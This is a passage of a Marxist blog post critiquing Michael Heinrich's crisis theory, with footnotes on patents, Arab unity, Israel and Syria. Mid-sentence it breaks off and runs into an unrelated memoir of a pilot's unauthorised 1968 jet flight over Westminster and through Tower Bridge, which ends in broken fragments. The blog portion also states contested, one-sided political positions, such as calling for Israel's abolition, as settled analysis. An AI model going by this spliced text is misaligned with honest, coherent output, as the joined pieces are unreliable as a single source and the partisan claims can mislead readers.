The other idea is the wrong idea that one fine day there will be a crisis of overproduction so severe that it will lead more or less automatically to capitalism being replaced by socialism. Perhaps, as Rosa Luxemburg put it, business will be so bad that the capitalists will give up and willingly hand over the keys to the factories to the workers. If we have learned anything from the “super-crisis” of 1929-33, it is that there will be no such friendly “automatic transition to socialism,” even if the future brings, as it likely will, one or more crises that dwarf 1929-33 in severity and duration.
“The true barrier of capitalist production,” Heinrich quotes Marx, “is capital itself.” (p. 176) “A barrier,” Heinrich explains, “should be understood here as a restriction: capital develops the forces of production, but this development merely serves the small-minded aim of the valorization of capital.” If this means anything, it means that capital does not in fact limit the development of production but rather simply serves the small-minded aim of “valorization of capital”—in plain language, making the rich richer.
In reality, capital acts as a major barrier to production and is far more than simply the subordination of production to the “valorization of capital,” though it is, of course, that as well. The most obvious restriction of production occurs during periods of crisis such as we saw most recently in 2007-09. But even between crises, capital restricts production. The crisis proper is always followed by a more or less prolonged period of depression/stagnation where many factories and machines lie idle and the level of production is far below the physical capacity to produce. Moreover, during both the crisis and the post-crisis stagnation phase, a good deal of society’s productive forces are destroyed.
Even during the phase of average prosperity that follows the crisis/stagnation phase, there is considerable amounts of excess capacity and unemployed workers—what the Monthly Review school calls “stagnation.” Though the restriction on production is less dramatic than in the crisis or post-crisis stagnation phase, the forces of production are being developed at a rate far below what would be possible with a full application of the primary productive forces of labor and science.
During the boom phase that succeeds the phase of average prosperity, the forces of production develop far more rapidly and draw as close as they can, as long as capitalism exists, to what would be possible if the forces of production were being developed in the interest of the associated producers. But the boom phase under capitalism is the precursor of the next crisis.
There is another way that capitalism acts as a barrier to the development of the productive forces that Heinrich himself acknowledges. The higher the rate of surplus value—or the lower the wage in value terms—the more capital will rely on living labor and the less it will rely on developing the forces of science and technology—machinery. Therefore, the low wages in value terms that the capitalists are always striving toward act as a major brake on the “intensive” development of production.
Capital’s alternatives to crises
Crises are so threatening to the capitalist social order as well as to individual capitalists that the capitalists are forced to develop alternative methods of restricting development in order to keep even worse crises at bay for as long as possible. One such method is the restriction of production. We see with cartels and trusts that production—and sometimes the application of new technology as well—is restricted in order to produce monopoly super-profits for a group of capitalists. Opposition to trusts and cartels over many decades has obliged capitalist governments to pass “anti-trust” laws that supposedly outlaw such combinations in most circumstances. Therefore, today cartelization is often carried out in the guise of enforcing so-called “intellectual property” rights.
An example of this kind of modern cartel is the British ARM corporation. ARM chips are extremely energy efficient and are becoming very powerful, threatening the Intel Corporation’s x86 chip monopoly. Today, ARM chips, which most often run various versions of the UNIX or UNIX-like operating systems (6) are used in smaller computers—smart phones and tablets. These small computers are taking on many functions previously performed by PCs, and not so many years ago—large in terms of physical size but not processing power—mainframe computers.
ARM itself produces no chips. Instead, it owns the patents for the chips. The industrial capitalist corporations that actually produce ARM chips can do so only with the permission of ARM. Unlike the case with a private cartel, if a company sells ARM chips, or chips that ARM claims “steals” its “intellectual property,” ARM can go to court—remember, the courts are an arm of the capitalists state—and demand that the state forcibly prevent the company from selling the chips. If the courts decide in ARM’s favor, their decision is enforced not simply within a nation but internationally through the World Trade Organization. And behind the WTO lies the muscle of the military machine of the U.S. and its NATO satellites.
The ARM chip cartel is only one example. There are many others. The life span of patents is regularly being extended. As a result, the development of the productive forces is increasingly hobbled because an “innovative company” that wants to introduce some new technology has to be concerned that it will be sued in court for “stealing” some other company’s—perhaps a company that simply owns patents and carries out no production of its own—”intellectual property.”
But the system of “intellectual property” is not the only method that contemporary imperialism uses to hold back the development of the productive forces. Experience shows that when previously underdeveloped countries enter into a period of rapid growth of capitalist production they are transformed into engines of crisis-breeding overproduction. Therefore, imperialism—defined as the most powerful monopoly corporations and their associated banks—aims to prevent the emergence of new independent countries engaged in capitalist production.
The most obvious example in the world today is the current crisis in the Arab world, which at the moment is centered on the U.S. drive to overthrow the Baath Party government of Syria. Reader Alex recently raised questions about my view of the Arab revolution, so this part of my critique of Heinrich’s work can be considered a reply to the questions Alex has raised.
I agree with Alex on one thing. The achievement of a united Arab republic in fact and not simply in name will not be easy. But neither was the creation of the Peoples Republic of China. Between the Taiping Rebellion in the 1850s, which can be considered the start of China’s modern revolution, and China “standing up,” in the words of Chinese leader Mao-Zedong, in 1949, almost a century of struggles—with many defeats along the way—intervened. The October Revolution in Russia in 1917 made the Chinese Revolution far easier—though far from easy—while the victory of the Gorbachev-Yeltsin counterrevolution has made the already difficult struggle for a united Arab republic even harder than it was before.
Many on the Internet have pointed out, correctly in my opinion, that the Arab world is now attempting to carry out a bourgeois-democratic (7) revolution, much like the U.S. carried out through both the War of Independence in 1775-1783 and the Civil War of 1861-1865 against British-backed rebel slaveholders. The Arab revolution is not yet a socialist revolution, and the prospects for an early transition from the bourgeois-democratic to the socialist revolution has been considerably set back by the counterrevolutionary destruction of the Soviet Union.
For historical perspective, the U.S. bourgeois-democratic revolution that unfolded between 1775 and 1865 took 90 years and cost the lives of more than 600,000 soldiers during the Civil War phase of the revolution alone, on top of those who died in the original war for independence. And who knows how many Black people died in their struggles against slavery that formed a crucial part of the U.S. bourgeois-democratic revolution between 1775 and 1865? Therefore, there is nothing surprising about Egypt’s failure to achieve a stable bourgeois-democratic republic in the wake of the fall of the Mubarak dictatorship in 2011.
Among the results of the victory of 90-year-long U.S. bourgeois-democratic revolution was the powerful growth of U.S. capitalism, which played no small role in the successive crises of overproduction that culminated in the super-crisis of 1929-33 and, finally, the transformation of European imperialism into a satellite of U.S. imperialism.
A successful Arab bourgeois-democratic revolution would have to accomplish what the U.S accomplished between 1775 and 1865—the era of bourgeois-democratic revolution that created the United States. First, the Arab world from Algeria to Iraq would need to be united under a common government with a common currency and a common tariff policy—much like the U.S. was united and a common currency established through the revolutionary war of independence and the Civil War. The Zionist entity of Israel, which is essentially a Western “white colony” (8), needs to be abolished.
This does not exclude by any means the possibility of the Israeli Jews learning to live side-by-side with their Arab brothers and sisters, as unlikely as this may seem today as world reaction continues to reign. But this will depend largely on the willingness of the Israeli Jews, or at least a considerable fraction of them, to make a clean break with their present Zionist misleaders and their alliance with the U.S. world empire and imperialism in general—from the beginning the basis of the Zionist movement. No nation including the Arab nation can tolerate a hostile outpost in its midst. We in the West have no right to make demands on the dispersed Arab population to make any concessions in this regard.
The Arab revolution also means the removal of the oil monarchies, Saudi Arabia, Kuwait, Qatar and the so-called United Arab Emirates, whose only real purpose is to steal the nonrenewable natural resources—oil and natural gas—of the region. The longer these oil monarchies remain, the more the natural wealth is squandered, reducing the possibilities for future accelerated capitalist development in the region. It also means the separation of religion from the state and the right of the people to support any religion or oppose all religions—which is the ultimate solution to the religious sectarian movements imperialism is using as part of its struggle to prevent the Arab nation from consolidating.
And last, but certainly not least, it means the full freedom of the workers to organize unions, political parties and a workers’ press.
If this were actually accomplished—and remember, I am speaking of a bourgeois-democratic revolution, not a socialist revolution—a tremendous impetus would be given to the development of capitalist production in the region. For example, a considerable portion of the revenues that are now being unproductively consumed by the incredible high living of Saudi and other oil princes of the oil-producing regions would be converted into productive capital. A common currency would encourage trade within the United Arab Republic—or whatever it would be called. Tariffs would be used to provide protection for developing Arab industries for a transitional period, much like the fast-developing young United States used tariffs to provide protection for emerging U.S. industries.
The growth of capitalist industry in the Arab world, supported by a pro-development capitalist government, would expand the home market and inevitably compete in the world market. Arab capitalism would then become an engine of crisis-breeding overproduction that would inevitably accelerate the revival of the revolutionary workers’ movement and socialist revolution on a global level.
Not surprisingly, the U.S. government and its NATO satellites are doing all they can to frustrate every move toward Arab unity. For example, in Libya they supported a “rebel” movement that has thrown that oil-rich, once developing country into chaos. In Syria, the capitalist media is openly discussing how the country is breaking up into different regions based on religious communities that have their roots in the pre-capitalist past. All this shows that the Arab world will not be able to realize its bourgeois-democratic revolution without a struggle to the death against the U.S. world empire and any other imperialism that might in the future attempt to step into its shoes, as the current events in Syria are illustrating. (9)
Though the crisis is most acute in the Arab world at the moment, the same analysis holds good for Latin America. The U.S., for exactly the same reasons, is opposed to what is called the Bolivarian revolution by progressive and revolutionary leaders in countries like Venezuela, Bolivia and Ecuador. Simon Bolivar (1783-1830), known as the “liberator” in Latin America, put forward the idea of a united Latin America, and this is what the Bolvarian leaders are putting forward today. Though the idea of a united Latin America in no way goes beyond capitalism, it is unacceptable to the Empire for the same reasons that a united Arab republic is unacceptable.
Ultimately, this applies to U.S. policy in Africa as well. Washington’s arch-reactionary foreign policy does not stem from the evil nature of Americans—or English, French, German, Australian or Israeli people—but ultimately from the fact that the leading barrier to capital is capital itself.
The breakdown theory
Heinrich quotes Marx in the manuscript he wrote during the crisis of 1857-58 that was later published under the title of “Grundrisse”—not the title Marx gave it: “As soon as labour in its immediate form has ceased to be the great source of wealth, labour time ceases and must cease to be its measure, and therefore exchange value [must cease to be the measure] of use value. The surplus labor of the masses has ceased to be the condition for the development of general wealth, just as the non-labour of the few has ceased to be the condition for the development of the general power of the human [brain]. As a result, production based on exchange value collapses.” (“Crisis Theory, the Law of the Tendency of the Profit Rate to Fall, and Marx’s Studies in the 1870s,” Monthly Review, April 2013)
Marx writing during the London winter of 1857-58 was well aware of capitalism’s tremendous and continuing development of the productivity of human labor. Marx was writing before the widespread application of electrical power to production, and when the computer revolution was still largely a theoretical idea of British inventor and mathematician Charles Babbage (1791-1871) (10) and his female mathematician co-worker Ada Lovelace (1815-1852), who is often considered the world’s first computer programmer. Together they are considered the world’s first computer scientists. The field of artificial intelligence and robotics, which is making so much progress in our own day, was a century into the future when Marx wrote his 1857-58 manuscript.
Marx foresaw a future productivity of labor so high due to the continued growth of science—today we would put special emphasis on computer science—that humans would be free of all mind-numbing routine work. In the past, class divisions could be justified because it freed up a small portion of society to develop philosophy, art, mathematics and science.
But Marx foresaw a future where labor productivity had developed far beyond the levels of 1857-58 and even today where all human beings will finally be able to develop to their full potential and not just a few lucky members of the ruling classes. Or as Marx in his “Critique of the Gotha Program”—his last major work—indicated, it will be possible in the “higher phase of communist society” to free human beings from the enslaving division of labor, and men and women will be able to realize their full potential while being “paid” according to their full material needs. Once the productive forces reach this stage of development, direct labor in any form ceases to be the measure of wealth, and classes cease to exist.
Once society has reached this stage of development—even sometime before it—no Gorbachev or Yeltsin will be able to return society back to capitalist relations of production; such a reversal will be no more possible than a return to medieval guilds and serfdom is possible today.
Capitalism, by developing the productive forces without apparent limit, is driving society in this direction foreseen by Marx. This is the historical justification for capitalism, and this why in the final analysis bourgeois-democratic revolutions are progressive. But like the Biblical Moses, capitalism will never be able to reach the “promised land.” Before we can reach the promised land where the productive forces are developed to the level that will make possible a society where all work according to their abilities and are “paid” according to their needs, capitalism as the final form of class society must be overthrown and buried.
Though capital, as Heinrich points out, has indeed developed the productive forces to levels unimaginable in any pre-capitalist era, it also has created at a high level of development barriers to production of its own. Exploring these barriers has indeed been the main subject of this blog. These barriers prevent capitalism from being the final form of human society. The task of freeing production from the specifically capitalist “barriers” to production falls to the working class.
Heinrich accepts all of Marxism–accept the revolutionary part
Heinrich specifically rejects the idea that capitalism cannot go on forever, which is so central to Marx’s entire theory of capitalist economy. He concedes that the “young” Marx held such ideas, even as recorded in the 1857-58 “Grundrisse” manuscript. But in “Capital,” Heinrich claims, written mostly during the 1860s, an older and wiser Marx abandoned such ideas. We saw this when we examined Heinrich’s critique of Marx’s famous “law of the tendency of the rate of profit to fall.” Heinrich has made a considerable effort to demolish what Marx considered to be the most important law of all political economy.
“Even disregarding all detailed objections,” Heinrich writes, “theories of collapse are confronted with the fundamental problem that they claim an inevitable developmental tendency that capitalism is so unable to deal with that its further existence become impossible—regardless of whatever happens in history.”
If these words have any meaning at all, they mean that Heinrich is claiming, in contrast to Marx, that capitalism can last forever. Heinrich believes that while a communist society without private property and commodity production—without market relations—is morally superior and preferable to present-day capitalist society, it is not an economic necessity.
Heinrich’s “new reading of Marx” is not, after all, new at all. On the contrary, it is old and moth-eaten. Bernstein, Tugan-Baranovsky and their ilk taught this exact doctrine—that socialism is above all a moral idea—more than a century ago. If this is true, according to the historical materialism of “world-view Marxism,” as Heinrich calls it, capitalism will indeed last forever, or at least, as Rosa Luxemburg liked to say, “until the sun burns out.”
In order to prove that capitalism can in principle last forever, Heinrich has had to put forward patent absurdities. For example, as we saw several months ago in his attempt to refute Marx’s law of the tendency of the rate of profit to fall, Heinrich ended up describing a capitalism with a negative rate of accumulation—in plain language a capitalism that runs at a loss. Now that is indeed a utopia, as any practical businessperson will tell you!
If capitalism is to last forever, the number of workers who produce surplus value must grow forever, without limit. In other words, the mass of the working class—in the sense defined by physics as the resistance of a body to acceleration in response to a given force, applied to the living human beings that make up the working class—must increase without limit.
In reality long before the “mass of the workers” reaches the limits of the quantity of mass-energy in the universe, the growing centralization of capital puts a definite limit—even if we can not in advance calculate it in years—on how long capitalist production can last.
Did Marx abandon his ‘breakdown theory’?
If Marx abandoned what Heinrich calls the “breakdown theory” by the beginning of the 1860s, what are we to make of this famous passage from Volume I of “Capital,” published in 1867, 10 years after the “Grundrisse” manuscript was written, and then republished several times during Marx’s lifetime.
“As soon as this process of transformation has sufficiently decomposed the old society from top to bottom, as soon as the labourers are turned into proletarians, their means of labour into capital, as soon as the capitalist mode of production stands on its own feet, then the further socialization of labour and further transformation of the land and other means of production into socially exploited and, therefore, common means of production, as well as the further expropriation of private proprietors, takes a new form. That which is now to be expropriated is no longer the labourer working for himself, but the capitalist exploiting many labourers. This expropriation is accomplished by the action of the immanent laws of capitalistic production itself, by the centralization of capital. One capitalist always kills many. Hand in hand with this centralization, or this expropriation of many capitalists by few, develop, on an ever-extending scale, the cooperative form of the labour process, the conscious technical application of science, the methodical cultivation of the soil, the transformation of the instruments of labour into instruments of labour only usable in common, the economizing of all means of production by their use as means of production of combined, socialized labour, the entanglement of all peoples in the net of the world market, and with this, the international character of the capitalistic regime. Along with the constantly diminishing number of the magnates of capital, who usurp and monopolize all advantages of this process of transformation, grows the mass of misery, oppression, slavery, degradation, exploitation; but with this too grows the revolt of the working class, a class always increasing in numbers, and disciplined, united, organized by the very mechanism of the process of capitalist production itself. The monopoly of capital becomes a fetter upon the mode of production, which has sprung up and flourished along with, and under it. Centralization of the means of production and socialization of labour at last reach a point where they become incompatible with their capitalist integument. This integument is burst asunder. The knell of capitalist private property sounds. The expropriators are expropriated.” (Ch. 32: “Historical Tendency of Capitalist Accumulation”)
Now this is “world-view Marxism” with a vengeance!
Final thoughts on Heinrich
Heinrich, like many academic Marxists over the decades, seems to takes a dim view of dialectical materialism—often abbreviated as “Diamat”—and historical materialism. It is true that Marx didn’t specifically use these terms, though Engels did. It is also true as Heinrich points out that individual Marxists sometimes explain away complex phenomena that they don’t understand with sweeping expressions such as “you have got to look at things dialectically.” There is also the school boy and girl type of Marxism that believes that complex scientific questions like the nature of “quantum” reality can be explained by referring to dialectical materialism without a thoroughgoing study that takes many years of the physics and associated mathematics necessary to fully grasp our present-day understanding of these questions.
But none of these observations negates either dialectical materialism or historical materialism. Dialectics is a study of the contradictions that are found in both human society and nature—on this planet and throughout the universe. Such contradictions are the basis of all motion, change and evolution, both in nature and in human affairs.
Historical materialism is the application of dialectical materialism to human society. It explains that the forces of material production make certain classes necessarily come into existence in a particular epoch. Social classes arise not by accident, or the ill will or revelations of certain individuals, but because of the inner needs of production.
The productive forces of the classical world of ancient Greece and Rome gave rise to ancient slave society. The productive forces of medieval Europe necessarily gave rise to the relations of production that we call feudalism, while the productive forces of the civilizations of pre-Columbian America, Africa, India and China gave rise to the modes of production and class structures that characterized those civilizations in different phases of their development.
Similarly, the development of the modern productive forces has given rise to the very different relations of production and associated classes of capitalists and wage workers that dominate present-day society that we call capitalism. But Marx showed that the further development of today’s productive forces will of necessity bring about the downfall of capitalist rule and the end of class society, a negation of the negation.
Starting about 10,000 years ago, the development of the productive forces of at first a few human societies began to negate the traditional communistic clan-tribal relations of production. The negation of the negation means that a new society based on productive relations that are now coming into existence will resemble the human society of 10,000 years ago insomuch as all human societies before that date lacked classes and the state. But the classless society of the future will be on a vastly higher level than the ancient society of clans and tribes based on what are by today’s standards an extremely low level of labor productivity and its consequent universal poverty and ignorance.
In examining Heinrich’s work, we see a consistent pattern. Heinrich has a rare if not flawless grasp of Marx’s economic theory. And he also has a rare ability to explain ideas clearly—when he understands them. As long as Marx’s economic research doesn’t seem to point to any immediate or obvious revolutionary conclusion, Heinrich is willing to follow him. Therefore, even the well-educated Marxist can learn a lot from Heinrich’s writings. But once Marx’s scientific work begins to point to revolutionary conclusions, Heinrich takes flight. This is true on the question of the falling tendency of the rate of profit; the theory of value, price and money; and above all, the inevitable end of capitalist production.
There is an old expression for this kind of thing: “trimming Marx’s beard.” Heinrich gives Marx a close shave, making the 19th-century revolutionary with his unruly beard fit for the respectable bourgeois society of the early 21st century. Heinrich’s Marx is a worthy successor to Ricardo and certainly far superior to what passes as the “economic science” taught in university economics departments. In addition, Heinrich’s Marx offers a penetrating critique of present-day society, its injustices, false appearances and illusions. But the Marx who has been given a close shave by Heinrich is not a revolutionist. In his speech at Marx’s funeral in March 1883, his co-worker, Frederick Engels, explained that Marx was “above all, a revolutionist.” But that was, after all, the “world-view Marxism” of the workers’ movement.
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1 The inflation of the credit system can postpone the outbreak of a crisis but only at the cost of making the crisis worse when it does break out. While Heinrich sees the credit system as the cause of the long-term growth of the market, he cannot really explain why the market growth is necessarily less than the growth of production. This is because of the flaws in his theory of value and his consequent failure to understand Marx’s theory of money. Marx held that far from being a solution to the problem of overproduction, the expansion of credit exacerbates it.
2 Three-dimensional printers take digital computer files, perhaps downloaded from the Internet, made up of ones and zeros, on one side, and some raw material like powdered plastic, on the other, and produce three-dimensional objects like plastic cutlery. There is some speculation that the machines will be sold in large numbers to consumers, who will use them to produce plastic objects at home as a hobby. Such production is not capitalist production because it is not production for sale nor does it exploit wage labor.
But these printers also have the possibility to revolutionize the production of many commodities in capitalist industry and radically cheapen many commodities—eliminating many jobs in the process. If these possibilities pan out, the now very modest demand for three-dimensional printers would explode, possibly in the very near future.
3 Rudolf Hildferding’s (1877-1941) work “Finance Capital” was the first major work written from a Marxist standpoint to analyze the new phenomena of monopoly capitalism. Despite Hilferding’s mistake on the theory of money, the work exercised great influence on Lenin, and all later Marxist studies of monopoly capitalism, including those of Paul Sweezy and other members of the Monthly Review school.
Hilferding, after the split in the international workers’ movement growing out of World War I and the Russian Revolution, stuck with the Second International—the Social Democrats—and opposed the Communist International. Hilferding, who was of Jewish origin, died while he was in the custody of the Gestapo—the secret political police of Nazi Germany—in 1941.
4 Mandel, unlike Heinrich, never claimed that imperialism was a “policy.”
5 Whenever Heinrich is stuck in an absurdity, such as denying the centralization of capital or the increasingly parasitic nature of present-day monopoly capitalism, he throws in the term “problematic.” This, at least to me, is very annoying. But perhaps the text reads better in German than in English.
6 Apple Inc. uses its own proprietary version of Unix in its iThings—iMacs, iPhones, iPads, iPods—while most other smart phones and tablet computers use a variant of the Unix-like Android operating system. The only non-Unix-like operating system in contention is the Microsoft Windows operating system, which has long dominated the personal computer market but has so far been poorly received in the smart phone and tablet computer markets.
7 The term bourgeois-democratic revolution is often shortened to, simply, “democratic revolution.” This is well and good as long as we know what it means. But it can lead to confusion if “democratic revolution” is conflated with “socialist revolution.” As used by Marxists, the democratic revolution is aimed at establishing the best possible conditions for the development of capitalism, as well as the working class’s struggle against capitalism—culminating in the majority—the working class and its allies—taking power, finally achieving victory in “the battle for democracy” as Marx and Engels put it in the “Communist Manifesto.” Capitalism with all its “beauties” is the legitimate child of all bourgeois-democratic revolutions, while “winning the battle for democracy” by the working class opens the road to the construction of socialism.
The democratic revolution cannot overcome any of the basic evils inherent in capitalism such as class rule, unemployment, periodic economic crises, war, national oppression and racism. In order to achieve that, we need a socialist revolution led by the working class. Whether any section of the Arab bourgeoisie or petty bourgeoisie will be able to lead the democratic revolution, or whether the tasks of the democratic revolution will fall to the working class, as turned out to be the case in Russia, is a question that I will not examine here. I simply explored the consequences of a victorious Arab bourgeois-democratic revolution to explain why U.S. imperialism is such an enemy of the Arab revolution.
8 By white colony, I mean a population that comes from outside the country and attempts to drive out or kill off the native population rather than exploit them. An example of a “non-white” colony is India under British rule, where the colonizers viciously exploited the native population and indeed, while killing many of them, never attempted to replace the Indian population as a whole with British colonizers.
Saying Israel is a “white colony” does not mean that the Israeli rulers have no will of their own or simply passively reflect the interests of the “mother country”—in this case, currently, the United States. On the contrary, the history of Britain’s white colonies has shown that most of them have shown a tendency to develop their own interests that have often been in conflict with the mother country. In the late 18th century, 13 of these “white colonies” not only developed their own interests, they threw off the rule of the “mother country” altogether and established a rival capitalist country that eventually grew into the most powerful empire the world has ever seen, completely overshadowing the old “mother country.”
Could something similar happen in the case of Israel? This is the dream of the most fanatical Zionists, but it has no realistic chance of ever being realized. Why is this? In Israel, a few million Jews face hundreds of millions of hostile Arabs and perhaps a billion hostile Muslims. No wonder that Israel is obliged to look to the U.S. for protection, and indeed its dependence on the U.S. has tended to grow over time. Leaving morality aside, the only way the Israeli Jews can in the long run survive in the Middle East is to make their own peace with the Arabs by breaking with racist Zionism and welcoming the exiled Palestine Arabs back to their homeland. They must prove to the Arabs that their presence in the Middle East is a positive good from the Arab point of view and not an evil that the Arabs must reluctantly accept. If the Israeli Jews cannot rise to this level, they simply have no future in the Middle East.
9 I am no expert on Syria. I do know that many Western socialists—especially but not only those associated with what is known as the “international socialist” trend founded by the British Marxist Tony Cliff—are passionate about supporting the Syrian rebels and have expressed great hatred toward the Baath Party and its leader, the current Syrian president, Bashar Al-Assad.
As far I can tell from the Internet, there are roughly three major Syrian “parties” fighting for control. One is the current ruling Baath Party, which has existed since the 1930s and has a pan-Arab ideology. This party’s stated program is broadly progressive in the sense of the Arab bourgeois-democratic revolution.
The Syrian Communist Party, the only workers’ party with any significant support among Syrian workers, is allied with the Baath Party in the current armed struggle, though it is critical of many of President Assad’s policies. In addition, there are two small socialist Syrian groups that strongly support the “moderate rebels.” One is associated with the International Socialist Tendency and the other supports the Fourth International, headed for many years by the late Marxist economist Ernest Mandel (1923-1995). However, as far as I can tell from the Internet—and of course I am not on the scene and could be misinformed—these pro-rebel socialist groups have little support in the Syrian working class, among the rebels themselves, or in Syrian society generally.
The rebels are themselves sharply divided between what the U.S. media call the “moderate rebels” and the so-called jihadist rebels. The latter are themselves divided into two main groups: Al-Nusra and the Islamic Emirate of Iraq and the Levant. I admit I have no idea what the differences are between these two groups. The U.S. media often uses the term “moderate” as a code word for “pro-imperialist.” The “moderate” rebels organized around the Free Syrian Army, or FSA, seem to be based largely on the Muslim Brotherhood.
The leaders of the “moderate rebels” are so pro-imperialist that they have called for the bombing of their own country. They have demanded a “no-fly zone” on the Libyan model. As far as I can see, the “moderate rebels” have put forward no democratic program, while their supporters have shouted such slogans as “Death to the Alawites,” the religious sect that the Assad family belongs to.
This genocidal |
then told the formation leader, with speechless code on my R/T button, that I had "lost" visual contact and pretended my radio had failed, using speechless transmissions to avoid any further embarrassing conversations on the R/T With things to do, I certainly didn't need a dialogue on the cancellation of TSR2 or the rights and wrongs of initiative! Before taking off on my way north I had realised my route would take me close to Dunsfold's idyllic, rural aerodrome, the airfield home of Hawkers where such a small team had assembled and tested so many fine and famous aircraft for the RAF, including my own much loved Hunter FGA9. Aware my flight would have certain consequences, I had decided to pay them a brief Anniversary visit, and after a careful check for other air traffic I streaked low over Dunsfold.Two brief minutes later I was at my "initial point" over the lakes three miles south of London Airport. As I banked to the right, turning clear and safely below London Airport's approach lane, I saw a stately Boeing 707 glidesloping its studied, final approach onto Heathrow's westerly runway.Crossing the green area of Richmond Park, I joined the silvered brown Thames, following its sharp, sinuous bends down river in a melody of delightful Fairey and Dowty banked reversals. Over London the weather was still one of those rare perfect, 8/8 Gordon's, crystal, gin clear days when all the colours shout out brightly. Definitely cerulean, not just azure. There was not a breath of wind; the blue sky too shone cloudlessly.For obvious reasons at this stage my crumpled quarter inch map, of the route became useless. I had no 50,000 or 100,000 target map on this particular sortie! With bursts of flap and power, I now concentrated all my attention on flying down the centre of the stream, startled by the varied beauty in the arches of each bridge just seconds apart. I swept round over Wandsworth, Battersea and Chelsea bridges, keeping a special eye open for any helicopters.__________________________________________________________________________________________________________________________________________________________________________________________________________________Straightening up after the next bend, I crossed Vauxhall Bridge and there, a mile or so ahead, was that familiar and splendid silhouette of the Houses of Parliament, viewed within a special sense of Triplex privacy. This was my main target area.As I banked over climbing slightly to circle Whitehall and the historic seat of British government, I had to open my throttle fully to maintain a good tight orbit. I realised this would put the noise level up considerably, which up to now I had been careful to keep as low as possible to avoid offence or complaint. As I put the Rolls-Royce power on, I decided that this was perhaps what was really necessary at this juncture to wake up our MPs and remind other august figures, sitting chairbound at their ministerial desks below, that we still had a fighting Air Force, one small unit of which was celebrating its anniversary, despite the dead hand of government policy and the sickening cut-backs of previous years.The message to Westminster was received. A debate was interrupted. Later a four MP cross party inter-service motion of support for the tribute was ruled retrospectively out of order. Quashed, it was reportedly deleted from Hansard!Three times I circled, fascinated like any Gulliver looking down at Lilliput by the scene below, and with not dissimilar motives to its author either, exactly as Big Ben struck 12 noon. Having been abroad for some years I was now conscious of the high Vickers Millbank tower block, which came as a surprise to one who had not been in Central London for some long time. Its bulk spoiled the even radius of my turns. Quite suddenly I felt a little tired, rather annoyed that, for once without a target map, I could not readily pick out No.10.With care I kept well clear of Buckingham Palace, which was plainly visible outside my orbit. Surprisingly there was time idly to wonder in the final turn exactly how many regulations I was breaking at this rather exclusive and delicious moment.After my final orbit I levelled out again over the Thames, dipping my wings past the RAF memorial and coincidentally the statue of Viscount Trenchard, who had helped to found the RAF in 1918 exactly 50 years earlier, despite tremendous opposition.With a quick glance at my fuel I decided that, rather than cross the heavily populated area to the north or climb through the airspace used by inbound airliners, the safest plan for all concerned was for me to follow the Thames eastward at low level out into a less populated area and then turn north for home.At one minute past noon, I turned happily down river. Over Waterloo Bridge I could see the architecturally pleasing Post Office Tower away over to the left, then suddenly ahead a fine view of St. Paul's Cathedral, at this time with its lattice work curtain of scaffolding.Despite thousands of sorties in Europe, Africa, Asia and the Middle East, I felt now like some voyeur or landscape artist, so intoxicated with the various views to the left and right of me that it was literally just before my wings crossed London Bridge when I looked ahead and suddenly saw Tower Bridge.There, standing like some proud, strong sentinel across the Thames, this famous matronly structure blocked my low level path to the east.Until this very instant I'd had absolutely no idea that, of course, Tower Bridge would be there. It was easy enough to fly over it, but the idea of flying through the spans suddenly struck me. I had just ten seconds to grapple with the seductive proposition which few ground attack pilots of any nationality could have resisted. My brain started racing to reach a decision. Years of fast low level strike flying made the decision simple. __________________________________________________________________________________________________________________________________________________________________________________________________________________From a trained low level pilot's point of view it provided an interesting penetration problem. To give added decision time I jinked hastily to line myself up directionally and pre-position down low over the river, with my eager fighter well beneath the tall cranes standing like silent, puzzled spectators on the banks. This manoeuvre would give me a full extra three seconds of decision time to study defloration further.There was considerable road traffic I could now see, including a red double decker bus, slowly lumbering across the famous, double-basculed bridge from north to south. With less than half a mile or so to run, I realised that it would be easy enough to fly through, but what would be the best and safest way?Swiftly I concluded Sydney Camm's favourite fighter would have to fly as close to the top structure as possible. Rather like a reverse skip bombing run with target cues above! At the last split second before I crossed underneath, the steel girders suddenly seemed to explode all about my cockpit, above, below and about my ears, totally engulfing canopy and one's traditional sense of flying fun! That microsecond my mind felt quite certain I had overcooked it and the top span would certainly take my fin off the next millisecond.Something then happened which had only occurred once before to me, when I had mushed after pull-out from an FAC attack with over-sufficient aircraft weight and "g" and insufficient speed, power and thought! Thinking I had hit the ground but missing Cloud Ninety Nine by a whisker, my heart actually had missed a couple of beats with the shock of expected imminent disaster. After that there was the acute, physical reaction as the heart fires up to full stroke again, just like a fighter's fuel pump, trying hard to catch up again.My Hunter flew on, rather unexpectedly finding itself still completely functional and not a finless wonder and I headed out over Greenwich and Hornchurch, heading towards Clacton.With not overmuch to hide now, I opened up a separate Anniversary sortie callsign on the R/T, Romeo Alfa Foxtrot 01 (rather lost on the controllers). Then, with R/T permission from the ground, ceremonially I beat up RAF Wattisham, home of some of the Lightning force and whose Station Commander was decidedly an accessory before this particular crime!Lakenheath was next on my list and Mach.93 divebrake sonic boomletting where No.1's fellow squadron with their parked USAF F- 100's were based. I recalled an earlier incident, when, with three other instructors in brand new Jet Provost Mk4's in February 1962, as leader I had called up another US base: "Four basic trainers at 10 miles, permission for slow flyby". Then we steamed over right on the deck at almost 400kts to remind our transatlantic cousins how we trained our UK basic pilots at that time! Only the other three were reported as seen by the tower!Lastly, without really the fuel to do it justice and only after a very careful R/T check on the position of a Victor on its extended final approach lane, I flew across RAF Marham. Thus the flight had correctly covered both halves of the former Bomber and Fighter elements which were just now combining as the new "Strike Command".With less than 400 lbs of fuel now remaining, I carried out a rather hurried, inadequate, inverted run over the squadron hangars at RAF West Raynham before breaking downwind, punching down the gear and landing, with the brake parachute bobbing about contentedly behind my precious fin. Somewhat pensively I taxied slowly in, expecting, like most other privileged fighter drivers in their time, that a formal reception committee might already be there, as on one or three previous occasions in my flying career.
The birth of the Yellowjacks. Flt Lt Pollock (nearest the camera) in Foland Gnat XR539 (08) flies a sortie for Bristol Siddeley's photographer on September 11, 1963. The other pilots in the picture are Flt Lt Lee Jones (02) and Flt Lt Roger Hymans (04). Only the normally cheerful airman was there to greet me on to my chock. Cutting the
Next I went to ground in the
Then I went back to the squadron, climbing upstairs to tell first Boss Jones, who was with our
_________________________________________________________________________________________________________
"Flt Lt Pollock was the fifth pilot to have flown 'through' Tower Bridge, but the first jet pilot. The first bridge flyer was Sir Francis McLean in 1912; then in 1931 'Mad Major' Christopher Draper did it in a Puss Moth. A Chingford chemist'shot' the Bridge in 1951 and was fined £100 and in 1954 Texan Gene Thompson did it in an Auster.."
_________________________________________________________________________________________________________
